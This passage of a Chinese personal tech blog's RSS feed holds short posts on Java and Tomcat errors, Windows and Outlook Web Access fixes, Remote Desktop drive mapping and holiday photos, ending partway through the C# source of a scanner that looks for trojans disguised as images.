&lt;p&gt;&lt;span style="color: #808000; font-size: x-small;"&gt;&lt;strong&gt;java.net.MalformedURLException: &lt;/strong&gt;&lt;/span&gt;&lt;strong&gt;&lt;span style="color: #808000; font-size: x-small;"&gt;unknown protocol&lt;br /&gt;java.net.UnknownHostException: D &lt;br /&gt;java.net.MalformedURLException: unknown protocol: d&lt;br /&gt;原因是文件路径中有中文存在&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;tomcat提示如下错误：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;java.net.MalformedURLException: unknown protocol: d&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at java.net.URL.&amp;lt;init&amp;gt;(URL.java:574)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at java.net.URL.&amp;lt;init&amp;gt;(URL.java:464)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at java.net.URL.&amp;lt;init&amp;gt;(URL.java:413)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at org.apache.xerces.impl.XMLEntityManager.setupCurrentEntity(Unknown So&lt;br /&gt;urce)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at org.apache.xerces.impl.XMLEntityManager.startEntity(Unknown Source)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at org.apache.xerces.impl.XMLEntityManager.startDocumentEntity(Unknown S&lt;br /&gt;ource)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at org.apache.xerces.impl.XMLDocumentScannerImpl.setInputSource(Unknown&lt;br /&gt;Source)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at org.apache.xerces.parsers.DTDConfiguration.parse(Unknown Source)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at org.apache.xerces.parsers.DTDConfiguration.parse(Unknown Source)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at org.apache.xerces.parsers.XMLParser.parse(Unknown Source)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at org.apache.xerces.parsers.AbstractSAXParser.parse(Unknown Source)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at org.apache.xerces.jaxp.SAXParserImpl$JAXPSAXParser.parse(Unknown Sour&lt;br /&gt;ce)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at org.dom4j.io.SAXReader.read(SAXReader.java:339)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at org.dom4j.io.SAXReader.read(SAXReader.java:251)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at cn.com.bsoft.Page.XmlTransform.getXmlDocument(XmlTransform.java:80)&lt;/p&gt;
&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=171</guid><pubDate>Sat, 28 Mar 2009 12:35:37 GMT</pubDate></item><item><title>[标记]实现业务系统中的用户权限管理--设计篇【转】</title><link>http://www.chendw.cn:8080/view.aspx?id=170</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;一篇很不错的文章&lt;/p&gt;&lt;p&gt;原文地址：&lt;a href="http://www.diybl.com/course/1_web/webjs/200824/99233.html"&gt;http://www.diybl.com/course/1_web/webjs/200824/99233.html&lt;/a&gt;&lt;/p&gt;&lt;p&gt;摘要：　&lt;/p&gt;&lt;p&gt;B/S系统中的权限比C/S中的更显的重要，C/S系统因为具有特殊的客户端，所以访问用户的权限检测可以通过客户 端实现或通过客户端+服务器检测实现，而B/S中，浏览器是每一台计算机都已具备的，如果不建立一个完整的权限检测，那么一个&amp;ldquo;非法用户&amp;rdquo;很可能就能通过 浏览器轻易访问到B/S系统中的所有功能。因此B/S业务系统都需要有一个或多个权限系统来实现访问权限检测，让经过授权的用户可以正常合法的使用已授权 功能，而对那些未经授权的&amp;ldquo;非法用户&amp;rdquo;将会将他们彻底的&amp;ldquo;拒之门外&amp;rdquo;。下面就让我们一起了解一下如何设计可以满足大部分B/S系统中对用户功能权限控制的 权限系统。&lt;/p&gt;&lt;p&gt;文章出处：&lt;a href="http://www.diybl.com/course/1_web/webjs/200824/99233.html"&gt;http://www.diybl.com/course/1_web/webjs/200824/99233.html&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=170</guid><pubDate>Thu, 13 Nov 2008 11:34:00 GMT</pubDate></item><item><title>[Web Server]Apache HTTP Server 与 Tomcat 的三种连接方式介绍</title><link>http://www.chendw.cn:8080/view.aspx?id=169</link><description>&lt;div id="blog_text" class="cnt"&gt;
&lt;p&gt;做个标记&lt;/p&gt;
&lt;h1&gt;Apache HTTP Server 与 Tomcat 的三种连接方式介绍&lt;/h1&gt;
&lt;p&gt;原文地址：&lt;a href="http://www.ibm.com/developerworks/cn/opensource/os-lo-apache-tomcat/index.html"&gt;http://www.ibm.com/developerworks/cn/opensource/os-lo-apache-tomcat/index.html&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=169</guid><pubDate>Sat, 28 Mar 2009 06:48:17 GMT</pubDate></item><item><title>脚本错误提示“DLL 中 出错解决”的解决</title><link>http://www.chendw.cn:8080/view.aspx?id=168</link><description>&lt;div id="blog_text" class="cnt"&gt;
&lt;p&gt;重新注册两个dll即可&lt;/p&gt;
&lt;p&gt;开始-运行： &lt;br /&gt;regsvr32 jscript.dll &lt;br /&gt;regsvr32 vbscript.dll&lt;/p&gt;
&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=168</guid><pubDate>Sat, 28 Mar 2009 12:36:36 GMT</pubDate></item><item><title>单击 Outlook Web Access 中的一个邮件附件时出现错误信息：&amp;amp;#34;此附件必须保存到磁盘</title><link>http://www.chendw.cn:8080/view.aspx?id=167</link><description>&lt;div id="blog_text" class="cnt"&gt;
&lt;p&gt;
&lt;table class="list ol FCK__ShowTableBorders" border="0"&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td class="number"&gt;1.&lt;/td&gt;
&lt;td class="text"&gt;单击 &lt;strong class="uiterm"&gt;开始 &lt;/strong&gt;，单击 &lt;strong class="uiterm"&gt;运行 &lt;/strong&gt;，键入 &lt;span class="userInput"&gt;regedit &lt;/span&gt;，然后单击 &lt;strong class="uiterm"&gt;确定 &lt;/strong&gt;。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class="number"&gt;2.&lt;/td&gt;
&lt;td class="text"&gt;找到并单击下面的注册表子项：
&lt;div class="indent"&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MSExchangeWEB\OWA&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class="number"&gt;3.&lt;/td&gt;
&lt;td class="text"&gt;在 &lt;strong class="uiterm"&gt;注册表 &lt;/strong&gt;菜单上, 单击 &lt;strong class="uiterm"&gt;导出注册表文件 &lt;/strong&gt;。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class="number"&gt;4.&lt;/td&gt;
&lt;td class="text"&gt;在 &lt;strong class="uiterm"&gt;文件名 &lt;/strong&gt;框中, 键入 &lt;span class="userInput"&gt;导出 OWA 键 &lt;/span&gt;，然后单击 &lt;strong class="uiterm"&gt;保存 &lt;/strong&gt;。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class="number"&gt;5.&lt;/td&gt;
&lt;td class="text"&gt;在右窗格中, 用鼠标右键单击 &lt;strong class="uiterm"&gt;Level2FileTypes &lt;/strong&gt;，然后单击 &lt;strong class="uiterm"&gt;删除 &lt;/strong&gt;。 然后，单击 &lt;strong class="uiterm"&gt;是 &lt;/strong&gt;以确认此注册表项的删除。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class="number"&gt;6.&lt;/td&gt;
&lt;td class="text"&gt;用鼠标右键单击 &lt;strong class="uiterm"&gt;Level2MIMETypes &lt;/strong&gt;，然后单击 &lt;strong class="uiterm"&gt;删除 &lt;/strong&gt;。 然后，单击 &lt;strong class="uiterm"&gt;是 &lt;/strong&gt;以确认此注册表项的删除。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class="number"&gt;7.&lt;/td&gt;
&lt;td class="text"&gt;退出注册表编辑器。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;做个标记：&lt;a href="http://support.microsoft.com/kb/924168/zh-cn"&gt;http://support.microsoft.com/kb/924168/zh-cn&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=167</guid><pubDate>Sat, 28 Mar 2009 12:37:45 GMT</pubDate></item><item><title>[操作系统]系统自带远程桌面实现文件传输</title><link>http://www.chendw.cn:8080/view.aspx?id=166</link><description>&lt;p&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/03/645f317149b847b5a08c4faeb933aeaf.jpg" target="_blank"&gt;&lt;/a&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/03/c7c6b7add1ba480490c282cf7bc4f771.gif" target="_blank"&gt;&lt;/a&gt;系统版本不同可能有一些差异 但是方法都是类似的&lt;/p&gt;
&lt;p&gt;1、打开远程桌面链接&lt;/p&gt;
&lt;p&gt;2、选择&amp;ldquo;本地资源&amp;rdquo;标签&lt;/p&gt;
&lt;p&gt;3、点击下面的&amp;ldquo;详细信息&amp;rdquo;&lt;/p&gt;
&lt;p&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/03/c7c6b7add1ba480490c282cf7bc4f771.gif" target="_blank"&gt;&lt;img src="http://www.chendw.cn:8080/uploads/2009/03/c7c6b7add1ba480490c282cf7bc4f771.gif" alt="1.gif" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;!--more--&gt;&lt;/p&gt;
&lt;p&gt;4、在弹出窗口里勾上&amp;ldquo;驱动器&amp;rdquo;&lt;/p&gt;
&lt;p&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/03/645f317149b847b5a08c4faeb933aeaf.jpg" target="_blank"&gt;&lt;img src="http://www.chendw.cn:8080/uploads/2009/03/645f317149b847b5a08c4faeb933aeaf.jpg" alt="2.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;5、链接到服务器上，这是可以看到所有的本地磁盘已经全部被映射到服务器上即能实现文件的传输。&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/03/645f317149b847b5a08c4faeb933aeaf.jpg" target="_blank"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=166</guid><pubDate>Fri, 10 Apr 2009 11:01:26 GMT</pubDate></item><item><title>十一文成行</title><link>http://www.chendw.cn:8080/view.aspx?id=182</link><description>&lt;p&gt;&lt;span style="line-height: 1.3em; font-size: 13px;"&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/04/3cfa3d5aeb2c467395e7cbc9f22f4335.jpg" target="_blank"&gt;&lt;/a&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/04/26c0500366bb4d5e9163d94bde9d3a93.jpg" target="_blank"&gt;&lt;/a&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/04/26c0500366bb4d5e9163d94bde9d3a93.jpg" target="_blank"&gt;&lt;/a&gt;这个十一有你们的陪伴很幸福 很充实 也很累 呵呵 &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="line-height: 1.3em; font-size: 13px;"&gt;&lt;span style="line-height: 1.3em; font-size: 13px;"&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/04/3cfa3d5aeb2c467395e7cbc9f22f4335.jpg" target="_blank"&gt;&lt;img src="http://www.chendw.cn:8080/uploads/2009/04/3cfa3d5aeb2c467395e7cbc9f22f4335.jpg" alt="http_imgload.jpg" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;!--more--&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style="line-height: 1.3em; font-size: 13px;"&gt;&lt;span style="line-height: 1.3em; font-size: 13px;"&gt;&lt;span style="line-height: 1.3em; font-size: 13px;"&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/04/3cfa3d5aeb2c467395e7cbc9f22f4335.jpg" target="_blank"&gt;&lt;/a&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/04/26c0500366bb4d5e9163d94bde9d3a93.jpg" target="_blank"&gt;&lt;/a&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/04/26c0500366bb4d5e9163d94bde9d3a93.jpg" target="_blank"&gt;&lt;img src="http://www.chendw.cn:8080/uploads/2009/04/26c0500366bb4d5e9163d94bde9d3a93.jpg" alt="http_imgload.jpg" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=182</guid><pubDate>Fri, 10 Apr 2009 10:59:58 GMT</pubDate></item><item><title>[Ext Grid]继承于Ext Grid的扩展控件 实现增、删、改、查功能[原创]</title><link>http://www.chendw.cn:8080/view.aspx?id=164</link><description>&lt;div id="blog_text" class="cnt"&gt;
&lt;p&gt;文章发在了Ext中文社区上&lt;/p&gt;
&lt;p&gt;地址：&lt;a href="http://www.17ext.com/showtopic-489.aspx"&gt;http://www.17ext.com/showtopic-489.aspx&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #ff0000;"&gt;转载请注明本博客地址 &lt;/span&gt;&lt;a href="..//"&gt;&lt;span style="color: #ff0000;"&gt;www.chendw.cn&lt;/span&gt;&lt;/a&gt;&lt;span style="color: #ff0000;"&gt; 谢谢&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #ff0000;"&gt;如果需要源代码请在下面留言附上邮箱，我会尽快回复。&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=164</guid><pubDate>Fri, 31 Jul 2009 14:38:21 GMT</pubDate></item><item><title>[原创]图片木马清除器[C#]</title><link>http://www.chendw.cn:8080/view.aspx?id=162</link><description>&lt;p&gt;检索电脑内的所有文件并删除伪图片的木马文件&lt;/p&gt;
&lt;p&gt;下载地址：&lt;a href="http://cdws.gbaopan.com/files/1fa37cfe26414fed9dc14f4065f10d2a.gbp"&gt;http://cdws.gbaopan.com/files/1fa37cfe26414fed9dc14f4065f10d2a.gbp&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;源代码如下：&lt;/p&gt;
&lt;p&gt;using System;&lt;br /&gt;using System.Collections.Generic;&lt;br /&gt;using System.Text;&lt;br /&gt;using System.IO;&lt;/p&gt;
&lt;p&gt;namespace ImagesTrojanKill&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; class ImagesTrojanKill&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public string sMsg="";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public string sError = "";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; static void Main(string[] args)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Console.WriteLine("开始清除");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ImagesTrojanKill obj = new ImagesTrojanKill();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; obj.searchDrive();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Console.WriteLine("清楚完毕按任意键退出!");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Console.ReadKey();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/p&gt;
&lt;p&gt;&lt;!--more--&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public void searchDrive()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; System.IO.DriveInfo[] info = DriveInfo.GetDrives();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; foreach (DriveInfo inf in info)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (inf.DriveType == DriveType.Fixed)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; searchfile(inf.Name);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; private void searchfile(string filepath)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; try&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; DirectoryInfo rootDi = new DirectoryInfo(filepath);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; FileInfo[] afi = rootDi.GetFiles();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for (int i = 0; i &amp;lt; afi.Length; i++)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; FileInfo fi = afi[i];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; string sfilename = Path.GetExtension(fi.Name).ToLower();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (sfilename == ".gif" || sfilename == ".jpg" || sfilename == ".jpeg" || sfilename == ".png" || sfilename == ".bmp" )&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; string filetime = (fi.Directory.FullName + "\\" + fi.Name);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; checkContent(filetime);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; DirectoryInfo[] adi = rootDi.GetDirectories();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for (int i = 0; i &amp;lt; adi.Length; i++)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; DirectoryInfo di = adi[i];&lt;br 